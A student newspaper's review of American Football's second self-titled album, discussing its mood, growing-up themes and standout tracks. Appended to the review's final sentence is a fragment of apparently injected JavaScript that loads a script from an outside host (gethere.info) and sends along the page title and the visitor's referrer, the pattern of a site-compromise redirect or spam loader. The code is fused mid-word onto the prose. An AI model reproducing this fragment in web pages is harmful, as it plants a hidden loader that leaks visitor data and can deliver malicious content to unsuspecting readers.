Strathclyde Telegraph

Album Review: American Football – American Football

by Manon Portenart

There are artists that manage to leave their mark on the first try, American Football is one of them.
It’s been 17 years (seventeen!) since American Football released their first album. The band broke up shortly after that, but is still remembered today as one of the staples of emo music of the nineties. That being said, is the new American Football worth the wait?

I would definitely suggest to give it a try. And by “a try” I mean really stop and listen to it carefully, let the details sink in. American Football is the kind of album you cannot truly appreciate unless you really take your time and pay attention to it. It is the perfect soundtrack for cuddling under a warm blanket when the weather/life gets too bad or for a scenic road trip across a deserted land (or on the subway, it’s less tumblr-worthy but probably easier to achieve).

We hold close to heart a first album that spoke to our young adult angst, but we also can not (or at least I do not want to) expect the same thing after a fifteen year pause. American Football is aesthetically similar to his older brother (beyond the album name and even the artwork), but different. Slower, definitely more adult, but still carrying the same emotional force.

The first thought that came to my mind when I first listened to the album was “wow, that’s pretty”, and I say that with the greatest respect. The music is intricate and delicate, carefully crafted and when added to the melancholia and subtle painfulness of the lyrics, everything blends together in the most artful kind of way. And God, does it speak to my emo heart.

The album cleverly opens with We Are We Now?, which sums up our relation with the band fifteen plus years after we first fell in love with their music, and how life changes us all. The theme is consistent throughout the album, but some songs dig deeper than others.

I’ve Been So Lost For So Long, the fifth track of the record, and also the first single, is not the easiest song of the lot but one of the most interesting ones with the next track, Give Me The Gun (my favorite, if any of you wanted to know). Two beautiful songs born out of the duality between the the simplicity and deeply touching straightfowardness of the lyrics and the liveliness of the music.

All in all, this new album is all about growing older and growing apart. It’s the story of a tortured soul who doesn’t seem to know where they belong and resign themselves to losing hope. However, when you think that all hope is lost, that sadness and loneliness make for the better part of life, the last track of the album, Everyone is Dressed Up, reminds you that you are never really alone.

The album is tinged with a quiet desperation, and do not be surprised to be face with some small epiphanies along the way. And even if you do not care that much about the story, I think the music alone is at least worth the journey.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;